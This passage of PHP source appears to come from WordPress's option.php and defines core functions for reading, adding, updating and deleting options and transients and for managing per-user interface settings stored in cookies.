					wp_cache_set( 'notoptions', $notoptions, 'options' );

					/** This filter is documented in wp-includes/option.php */
					return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
				}
			}
		}
	} else {
		$suppress = $wpdb->suppress_errors();
		$row      = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
		$wpdb->suppress_errors( $suppress );

		if ( is_object( $row ) ) {
			$value = $row->option_value;
		} else {
			/** This filter is documented in wp-includes/option.php */
			return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
		}
	}

	// If home is not set, use siteurl.
	if ( 'home' === $option && '' === $value ) {
		return get_option( 'siteurl' );
	}

	if ( in_array( $option, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) {
		$value = untrailingslashit( $value );
	}

	/**
	 * Filters the value of an existing option.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 1.5.0 As 'option_' . $setting
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $value  Value of the option. If stored serialized, it will be
	 *                       unserialized prior to being returned.
	 * @param string $option Option name.
	 */
	return apply_filters( "option_{$option}", maybe_unserialize( $value ), $option );
}

/**
 * Protects WordPress special option from being modified.
 *
 * Will die if $option is in protected list. Protected options are 'alloptions'
 * and 'notoptions' options.
 *
 * @since 2.2.0
 *
 * @param string $option Option name.
 */
function wp_protect_special_option( $option ) {
	if ( 'alloptions' === $option || 'notoptions' === $option ) {
		wp_die(
			sprintf(
				/* translators: %s: Option name. */
				__( '%s is a protected WP option and may not be modified' ),
				esc_html( $option )
			)
		);
	}
}

/**
 * Prints option value after sanitizing for forms.
 *
 * @since 1.5.0
 *
 * @param string $option Option name.
 */
function form_option( $option ) {
	echo esc_attr( get_option( $option ) );
}

/**
 * Loads and caches all autoloaded options, if available or all options.
 *
 * @since 2.2.0
 * @since 5.3.1 The `$force_cache` parameter was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool $force_cache Optional. Whether to force an update of the local cache
 *                          from the persistent cache. Default false.
 * @return array List of all options.
 */
function wp_load_alloptions( $force_cache = false ) {
	global $wpdb;

	/**
	 * Filters the array of alloptions before it is populated.
	 *
	 * Returning an array from the filter will effectively short circuit
	 * wp_load_alloptions(), returning that value instead.
	 *
	 * @since 6.2.0
	 *
	 * @param array|null $alloptions  An array of alloptions. Default null.
	 * @param bool       $force_cache Whether to force an update of the local cache from the persistent cache. Default false.
	 */
	$alloptions = apply_filters( 'pre_wp_load_alloptions', null, $force_cache );
	if ( is_array( $alloptions ) ) {
		return $alloptions;
	}

	if ( ! wp_installing() || ! is_multisite() ) {
		$alloptions = wp_cache_get( 'alloptions', 'options', $force_cache );
	} else {
		$alloptions = false;
	}

	if ( ! $alloptions ) {
		$suppress      = $wpdb->suppress_errors();
		$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" );
		if ( ! $alloptions_db ) {
			$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
		}
		$wpdb->suppress_errors( $suppress );

		$alloptions = array();
		foreach ( (array) $alloptions_db as $o ) {
			$alloptions[ $o->option_name ] = $o->option_value;
		}

		if ( ! wp_installing() || ! is_multisite() ) {
			/**
			 * Filters all options before caching them.
			 *
			 * @since 4.9.0
			 *
			 * @param array $alloptions Array with all options.
			 */
			$alloptions = apply_filters( 'pre_cache_alloptions', $alloptions );

			wp_cache_add( 'alloptions', $alloptions, 'options' );
		}
	}

	/**
	 * Filters all options after retrieving them.
	 *
	 * @since 4.9.0
	 *
	 * @param array $alloptions Array with all options.
	 */
	return apply_filters( 'alloptions', $alloptions );
}

/**
 * Loads and caches certain often requested site options if is_multisite() and a persistent cache is not being used.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $network_id Optional site ID for which to query the options. Defaults to the current site.
 */
function wp_load_core_site_options( $network_id = null ) {
	global $wpdb;

	if ( ! is_multisite() || wp_using_ext_object_cache() || wp_installing() ) {
		return;
	}

	if ( empty( $network_id ) ) {
		$network_id = get_current_network_id();
	}

	$core_options = array( 'site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting' );

	$core_options_in = "'" . implode( "', '", $core_options ) . "'";
	$options         = $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN ($core_options_in) AND site_id = %d", $network_id ) );

	$data = array();
	foreach ( $options as $option ) {
		$key                = $option->meta_key;
		$cache_key          = "{$network_id}:$key";
		$option->meta_value = maybe_unserialize( $option->meta_value );

		$data[ $cache_key ] = $option->meta_value;
	}
	wp_cache_set_multiple( $data, 'site-options' );
}

/**
 * Updates the value of an option that was already added.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is inserted into the database.
 * Remember, resources cannot be serialized or added as an option.
 *
 * If the option does not exist, it will be created.

 * This function is designed to work with or without a logged-in user. In terms of security,
 * plugin developers should check the current user's capabilities before updating any options.
 *
 * @since 1.0.0
 * @since 4.2.0 The `$autoload` parameter was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string      $option   Name of the option to update. Expected to not be SQL-escaped.
 * @param mixed       $value    Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
 * @param string|bool $autoload Optional. Whether to load the option when WordPress starts up. For existing options,
 *                              `$autoload` can only be updated using `update_option()` if `$value` is also changed.
 *                              Accepts 'yes'|true to enable or 'no'|false to disable. For non-existent options,
 *                              the default value is 'yes'. Default null.
 * @return bool True if the value was updated, false otherwise.
 */
function update_option( $option, $value, $autoload = null ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return update_option( $deprecated_keys[ $option ], $value, $autoload );
	}

	wp_protect_special_option( $option );

	if ( is_object( $value ) ) {
		$value = clone $value;
	}

	$value     = sanitize_option( $option, $value );
	$old_value = get_option( $option );

	/**
	 * Filters a specific option before its value is (maybe) serialized and updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.6.0
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $value     The new, unserialized option value.
	 * @param mixed  $old_value The old option value.
	 * @param string $option    Option name.
	 */
	$value = apply_filters( "pre_update_option_{$option}", $value, $old_value, $option );

	/**
	 * Filters an option before its value is (maybe) serialized and updated.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed  $value     The new, unserialized option value.
	 * @param string $option    Name of the option.
	 * @param mixed  $old_value The old option value.
	 */
	$value = apply_filters( 'pre_update_option', $value, $option, $old_value );

	/*
	 * If the new and old values are the same, no need to update.
	 *
	 * Unserialized values will be adequate in most cases. If the unserialized
	 * data differs, the (maybe) serialized data is checked to avoid
	 * unnecessary database calls for otherwise identical object instances.
	 *
	 * See https://core.trac.wordpress.org/ticket/38903
	 */
	if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
		return false;
	}

	/** This filter is documented in wp-includes/option.php */
	if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) {
		// Default setting for new options is 'yes'.
		if ( null === $autoload ) {
			$autoload = 'yes';
		}

		return add_option( $option, $value, '', $autoload );
	}

	$serialized_value = maybe_serialize( $value );

	/**
	 * Fires immediately before an option value is updated.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option    Name of the option to update.
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 */
	do_action( 'update_option', $option, $old_value, $value );

	$update_args = array(
		'option_value' => $serialized_value,
	);

	if ( null !== $autoload ) {
		$update_args['autoload'] = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes';
	}

	$result = $wpdb->update( $wpdb->options, $update_args, array( 'option_name' => $option ) );
	if ( ! $result ) {
		return false;
	}

	$notoptions = wp_cache_get( 'notoptions', 'options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}

	if ( ! wp_installing() ) {
		$alloptions = wp_load_alloptions( true );
		if ( isset( $alloptions[ $option ] ) ) {
			$alloptions[ $option ] = $serialized_value;
			wp_cache_set( 'alloptions', $alloptions, 'options' );
		} else {
			wp_cache_set( $option, $serialized_value, 'options' );
		}
	}

	/**
	 * Fires after the value of a specific option has been successfully updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.0.1
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 * @param string $option    Option name.
	 */
	do_action( "update_option_{$option}", $old_value, $value, $option );

	/**
	 * Fires after the value of an option has been successfully updated.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option    Name of the updated option.
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 */
	do_action( 'updated_option', $option, $old_value, $value );

	return true;
}

/**
 * Adds a new option.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is inserted into the database.
 * Remember, resources cannot be serialized or added as an option.
 *
 * You can create options without values and then update the values later.
 * Existing options will not be updated and checks are performed to ensure that you
 * aren't adding a protected WordPress option. Care should be taken to not name
 * options the same as the ones which are protected.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string      $option     Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed       $value      Optional. Option value. Must be serializable if non-scalar.
 *                                Expected to not be SQL-escaped.
 * @param string      $deprecated Optional. Description. Not used anymore.
 * @param string|bool $autoload   Optional. Whether to load the option when WordPress starts up.
 *                                Default is enabled. Accepts 'no' to disable for legacy reasons.
 * @return bool True if the option was added, false otherwise.
 */
function add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
	global $wpdb;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.3.0' );
	}

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return add_option( $deprecated_keys[ $option ], $value, $deprecated, $autoload );
	}

	wp_protect_special_option( $option );

	if ( is_object( $value ) ) {
		$value = clone $value;
	}

	$value = sanitize_option( $option, $value );

	// Make sure the option doesn't already exist.
	// We can check the 'notoptions' cache before we ask for a DB query.
	$notoptions = wp_cache_get( 'notoptions', 'options' );

	if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
		/** This filter is documented in wp-includes/option.php */
		if ( apply_filters( "default_option_{$option}", false, $option, false ) !== get_option( $option ) ) {
			return false;
		}
	}

	$serialized_value = maybe_serialize( $value );
	$autoload         = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes';

	/**
	 * Fires before an option is added.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the option to add.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( 'add_option', $option, $value );

	$result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) );
	if ( ! $result ) {
		return false;
	}

	if ( ! wp_installing() ) {
		if ( 'yes' === $autoload ) {
			$alloptions            = wp_load_alloptions( true );
			$alloptions[ $option ] = $serialized_value;
			wp_cache_set( 'alloptions', $alloptions, 'options' );
		} else {
			wp_cache_set( $option, $serialized_value, 'options' );
		}
	}

	// This option exists now.
	$notoptions = wp_cache_get( 'notoptions', 'options' ); // Yes, again... we need it to be fresh.

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}

	/**
	 * Fires after a specific option has been added.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.5.0 As "add_option_{$name}"
	 * @since 3.0.0
	 *
	 * @param string $option Name of the option to add.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( "add_option_{$option}", $option, $value );

	/**
	 * Fires after an option has been added.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the added option.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( 'added_option', $option, $value );

	return true;
}

/**
 * Removes option by name. Prevents removal of protected WordPress options.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_option( $option ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	wp_protect_special_option( $option );

	// Get the ID, if no ID then return.
	$row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) );
	if ( is_null( $row ) ) {
		return false;
	}

	/**
	 * Fires immediately before an option is deleted.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the option to delete.
	 */
	do_action( 'delete_option', $option );

	$result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) );

	if ( ! wp_installing() ) {
		if ( 'yes' === $row->autoload ) {
			$alloptions = wp_load_alloptions( true );
			if ( is_array( $alloptions ) && isset( $alloptions[ $option ] ) ) {
				unset( $alloptions[ $option ] );
				wp_cache_set( 'alloptions', $alloptions, 'options' );
			}
		} else {
			wp_cache_delete( $option, 'options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a specific option has been deleted.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 3.0.0
		 *
		 * @param string $option Name of the deleted option.
		 */
		do_action( "delete_option_{$option}", $option );

		/**
		 * Fires after an option has been deleted.
		 *
		 * @since 2.9.0
		 *
		 * @param string $option Name of the deleted option.
		 */
		do_action( 'deleted_option', $option );

		return true;
	}

	return false;
}

/**
 * Deletes a transient.
 *
 * @since 2.8.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return bool True if the transient was deleted, false otherwise.
 */
function delete_transient( $transient ) {

	/**
	 * Fires immediately before a specific transient is deleted.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 *
	 * @param string $transient Transient name.
	 */
	do_action( "delete_transient_{$transient}", $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_delete( $transient, 'transient' );
	} else {
		$option_timeout = '_transient_timeout_' . $transient;
		$option         = '_transient_' . $transient;
		$result         = delete_option( $option );

		if ( $result ) {
			delete_option( $option_timeout );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a transient is deleted.
		 *
		 * @since 3.0.0
		 *
		 * @param string $transient Deleted transient name.
		 */
		do_action( 'deleted_transient', $transient );
	}

	return $result;
}

/**
 * Retrieves the value of a transient.
 *
 * If the transient does not exist, does not have a value, or has expired,
 * then the return value will be false.
 *
 * @since 2.8.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return mixed Value of transient.
 */
function get_transient( $transient ) {

	/**
	 * Filters the value of an existing transient before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 The `$transient` parameter was added
	 *
	 * @param mixed  $pre_transient The default value to return if the transient does not exist.
	 *                              Any value other than false will short-circuit the retrieval
	 *                              of the transient, and return that value.
	 * @param string $transient     Transient name.
	 */
	$pre = apply_filters( "pre_transient_{$transient}", false, $transient );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$value = wp_cache_get( $transient, 'transient' );
	} else {
		$transient_option = '_transient_' . $transient;
		if ( ! wp_installing() ) {
			// If option is not in alloptions, it is not autoloaded and thus has a timeout.
			$alloptions = wp_load_alloptions();
			if ( ! isset( $alloptions[ $transient_option ] ) ) {
				$transient_timeout = '_transient_timeout_' . $transient;
				$timeout           = get_option( $transient_timeout );
				if ( false !== $timeout && $timeout < time() ) {
					delete_option( $transient_option );
					delete_option( $transient_timeout );
					$value = false;
				}
			}
		}

		if ( ! isset( $value ) ) {
			$value = get_option( $transient_option );
		}
	}

	/**
	 * Filters an existing transient's value.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 The `$transient` parameter was added
	 *
	 * @param mixed  $value     Value of transient.
	 * @param string $transient Transient name.
	 */
	return apply_filters( "transient_{$transient}", $value, $transient );
}

/**
 * Sets/updates the value of a transient.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is set.
 *
 * @since 2.8.0
 *
 * @param string $transient  Transient name. Expected to not be SQL-escaped.
 *                           Must be 172 characters or fewer in length.
 * @param mixed  $value      Transient value. Must be serializable if non-scalar.
 *                           Expected to not be SQL-escaped.
 * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
 * @return bool True if the value was set, false otherwise.
 */
function set_transient( $transient, $value, $expiration = 0 ) {

	$expiration = (int) $expiration;

	/**
	 * Filters a specific transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 * @since 4.2.0 The `$expiration` parameter was added.
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value      New value of transient.
	 * @param int    $expiration Time until expiration in seconds.
	 * @param string $transient  Transient name.
	 */
	$value = apply_filters( "pre_set_transient_{$transient}", $value, $expiration, $transient );

	/**
	 * Filters the expiration for a transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 4.4.0
	 *
	 * @param int    $expiration Time until expiration in seconds. Use 0 for no expiration.
	 * @param mixed  $value      New value of transient.
	 * @param string $transient  Transient name.
	 */
	$expiration = apply_filters( "expiration_of_transient_{$transient}", $expiration, $value, $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_set( $transient, $value, 'transient', $expiration );
	} else {
		$transient_timeout = '_transient_timeout_' . $transient;
		$transient_option  = '_transient_' . $transient;

		if ( false === get_option( $transient_option ) ) {
			$autoload = 'yes';
			if ( $expiration ) {
				$autoload = 'no';
				add_option( $transient_timeout, time() + $expiration, '', 'no' );
			}
			$result = add_option( $transient_option, $value, '', $autoload );
		} else {
			// If expiration is requested, but the transient has no timeout option,
			// delete, then re-create transient rather than update.
			$update = true;

			if ( $expiration ) {
				if ( false === get_option( $transient_timeout ) ) {
					delete_option( $transient_option );
					add_option( $transient_timeout, time() + $expiration, '', 'no' );
					$result = add_option( $transient_option, $value, '', 'no' );
					$update = false;
				} else {
					update_option( $transient_timeout, time() + $expiration );
				}
			}

			if ( $update ) {
				$result = update_option( $transient_option, $value );
			}
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value for a specific transient has been set.
		 *
		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
		 *
		 * @since 3.0.0
		 * @since 3.6.0 The `$value` and `$expiration` parameters were added.
		 * @since 4.4.0 The `$transient` parameter was added.
		 *
		 * @param mixed  $value      Transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 * @param string $transient  The name of the transient.
		 */
		do_action( "set_transient_{$transient}", $value, $expiration, $transient );

		/**
		 * Fires after the value for a transient has been set.
		 *
		 * @since 3.0.0
		 * @since 3.6.0 The `$value` and `$expiration` parameters were added.
		 *
		 * @param string $transient  The name of the transient.
		 * @param mixed  $value      Transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 */
		do_action( 'setted_transient', $transient, $value, $expiration );
	}

	return $result;
}

/**
 * Deletes all expired transients.
 *
 * Note that this function won't do anything if an external object cache is in use.
 *
 * The multi-table delete syntax is used to delete the transient record
 * from table a, and the corresponding transient_timeout record from table b.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @since 4.9.0
 *
 * @param bool $force_db Optional. Force cleanup to run against the database even when an external object cache is used.
 */
function delete_expired_transients( $force_db = false ) {
	global $wpdb;

	if ( ! $force_db && wp_using_ext_object_cache() ) {
		return;
	}

	$wpdb->query(
		$wpdb->prepare(
			"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
			WHERE a.option_name LIKE %s
			AND a.option_name NOT LIKE %s
			AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) )
			AND b.option_value < %d",
			$wpdb->esc_like( '_transient_' ) . '%',
			$wpdb->esc_like( '_transient_timeout_' ) . '%',
			time()
		)
	);

	if ( ! is_multisite() ) {
		// Single site stores site transients in the options table.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
				WHERE a.option_name LIKE %s
				AND a.option_name NOT LIKE %s
				AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) )
				AND b.option_value < %d",
				$wpdb->esc_like( '_site_transient_' ) . '%',
				$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
				time()
			)
		);
	} elseif ( is_multisite() && is_main_site() && is_main_network() ) {
		// Multisite stores site transients in the sitemeta table.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE a, b FROM {$wpdb->sitemeta} a, {$wpdb->sitemeta} b
				WHERE a.meta_key LIKE %s
				AND a.meta_key NOT LIKE %s
				AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) )
				AND b.meta_value < %d",
				$wpdb->esc_like( '_site_transient_' ) . '%',
				$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
				time()
			)
		);
	}
}

/**
 * Saves and restores user interface settings stored in a cookie.
 *
 * Checks if the current user-settings cookie is updated and stores it. When no
 * cookie exists (different browser used), adds the last saved cookie restoring
 * the settings.
 *
 * @since 2.7.0
 */
function wp_user_settings() {

	if ( ! is_admin() || wp_doing_ajax() ) {
		return;
	}

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return;
	}

	if ( ! is_user_member_of_blog() ) {
		return;
	}

	$settings = (string) get_user_option( 'user-settings', $user_id );

	if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) {
		$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] );

		// No change or both empty.
		if ( $cookie == $settings ) {
			return;
		}

		$last_saved = (int) get_user_option( 'user-settings-time', $user_id );
		$current    = isset( $_COOKIE[ 'wp-settings-time-' . $user_id ] ) ? preg_replace( '/[^0-9]/', '', $_COOKIE[ 'wp-settings-time-' . $user_id ] ) : 0;

		// The cookie is newer than the saved value. Update the user_option and leave the cookie as-is.
		if ( $current > $last_saved ) {
			update_user_option( $user_id, 'user-settings', $cookie, false );
			update_user_option( $user_id, 'user-settings-time', time() - 5, false );
			return;
		}
	}

	// The cookie is not set in the current browser or the saved value is newer.
	$secure = ( 'https' === parse_url( admin_url(), PHP_URL_SCHEME ) );
	setcookie( 'wp-settings-' . $user_id, $settings, time() + YEAR_IN_SECONDS, SITECOOKIEPATH, '', $secure );
	setcookie( 'wp-settings-time-' . $user_id, time(), time() + YEAR_IN_SECONDS, SITECOOKIEPATH, '', $secure );
	$_COOKIE[ 'wp-settings-' . $user_id ] = $settings;
}

/**
 * Retrieves user interface setting value based on setting name.
 *
 * @since 2.7.0
 *
 * @param string       $name          The name of the setting.
 * @param string|false $default_value Optional. Default value to return when $name is not set. Default false.
 * @return mixed The last saved user setting or the default value/false if it doesn't exist.
 */
function get_user_setting( $name, $default_value = false ) {
	$all_user_settings = get_all_user_settings();

	return isset( $all_user_settings[ $name ] ) ? $all_user_settings[ $name ] : $default_value;
}

/**
 * Adds or updates user interface setting.
 *
 * Both `$name` and `$value` can contain only ASCII letters, numbers, hyphens, and underscores.
 *
 * This function has to be used before any output has started as it calls `setcookie()`.
 *
 * @since 2.8.0
 *
 * @param string $name  The name of the setting.
 * @param string $value The value for the setting.
 * @return bool|null True if set successfully, false otherwise.
 *                   Null if the current user is not a member of the site.
 */
function set_user_setting( $name, $value ) {
	if ( headers_sent() ) {
		return false;
	}

	$all_user_settings          = get_all_user_settings();
	$all_user_settings[ $name ] = $value;

	return wp_set_all_user_settings( $all_user_settings );
}

/**
 * Deletes user interface settings.
 *
 * Deleting settings would reset them to the defaults.
 *
 * This function has to be used before any output has started as it calls `setcookie()`.
 *
 * @since 2.7.0
 *
 * @param string $names The name or array of names of the setting to be deleted.
 * @return bool|null True if deleted successfully, false otherwise.
 *                   Null if the current user is not a member of the site.
 */
function delete_user_setting( $names ) {
	if ( headers_sent() ) {
		return false;
	}

	$all_user_settings = get_all_user_settings();
	$names             = (array) $names;
	$deleted           = false;

	foreach ( $names as $name ) {
		if ( isset( $all_user_settings[ $name ] ) ) {
			unset( $all_user_settings[ $name ] );
			$deleted = true;
		}
	}

	if ( $deleted ) {
		return wp_set_all_user_settings( $all_user_settings );
	}

	return false;
}

/**
 * Retrieves all user interface settings.
 *
 * @since 2.7.0
 *
 * @global array $_updated_user_settings
 *
 * @return array The last saved user settings or empty array.
 */
function get_all_user_settings() {
	global $_updated_user_settings;

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return array();
	}

	if ( isset( $_updated_user_settings ) && is_array( $_updated_user_settings ) ) {
		return $_updated_user_settings;
	}

	$user_settings = array();

	if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) {
		$cookie = preg_replace( '/[^A-Za-z0-9=&_-]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] );

		if ( strpos( $cookie, '=' ) ) { // '=' cannot be 1st char.
			parse_str( $cookie, $user_settings );
		}
	} else {
		$option = get_user_option( 'user-settings', $user_id );

		if ( $option && is_string( $option ) ) {
			parse_str( $option, $user_settings );
		}
	}

	$_updated_user_settings = $user_settings;
	return $user_settings;
}

/**
 * Private. Sets all user interface settings.
 *
 * @since 2.8.0
 * @access private
 *
 * @global array $_updated_user_settings
 *
 * @param array $user_settings User settings.
 * @return bool|null True if set successfully, false if the current user could not be found.
 *                   Null if the current user is not a member of the site.
 */
function wp_set_all_user_settings( $user_settings ) {
	global $_updated_user_settings;

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return false;
	}

	if ( ! is_user_member_of_blog() ) {
		return;
	}

	$settings = '';
	foreach ( $user_settings as $name => $value ) {
		$_name  = preg_replace( '/[^A-Za-z0-9_-]+/', '', $name );
		$_value = preg_replace( '/[^A-Za-z0-9_-]+/', '', $value );

		if ( ! empty( $_name ) ) {
			$settings .= $_name . '=' . $_value . '&';
		}
	}

	$settings = rtrim( $settings, '&' );
	parse_str( $settings, $_updated_user_settings );

	update_user_option( $user_id, 'user-settings', $settings, false );
	update_user_option( $user_id, 'user-settings-time', time(), false );

	return true;
}

/**
 * Deletes the user settings of the current user.
 *
 * @since 2.7.0
 */
function delete_all_user_settings() {
	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return;
	}

	update_user_option( $user_id, 'user-settings', '', false );
	setcookie( 'wp-settings-' . $user_id, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
}

/**
 * Retrieve an option value for the current network based on name of option.
 *
 * @since 2.8.0
 * @since 4.4.0 The `$use_cache` parameter was deprecated.
 * @since 4.4.0 Modified into wrapper for get_network_option()
 *
 * @see get_network_option()
 *
 * @param string $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Value to return if the option doesn't exist. Default false.
 * @param bool   $deprecated    Whether to use cache. Multisite only. Always set to true.
 * @return mixed Value set for the option.
 */
function get_site_option( $option, $default_value = false, $deprecated = true ) {
	return get_network_option( null, $option, $default_value );
}

/**
 * Adds a new option for the current network.
 *
 * Existing options will not be updated. Note that prior to 3.3 this wasn't the case.
 *
 * @since 2.8.0
 * @since 4.4.0 Modified into wrapper for add_network_option()
 *
 * @see add_network_option()
 *
 * @param string $option Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed  $value  Option value, can be anything. Expected to not be SQL-escaped.
 * @return bool True if the option was added, false otherwise.
 */
function add_site_option( $option, $value ) {
	return add_network_option( null, $option, $value );
}

/**
 * Removes a option by name for the current network.
 *
 * @since 2.8.0
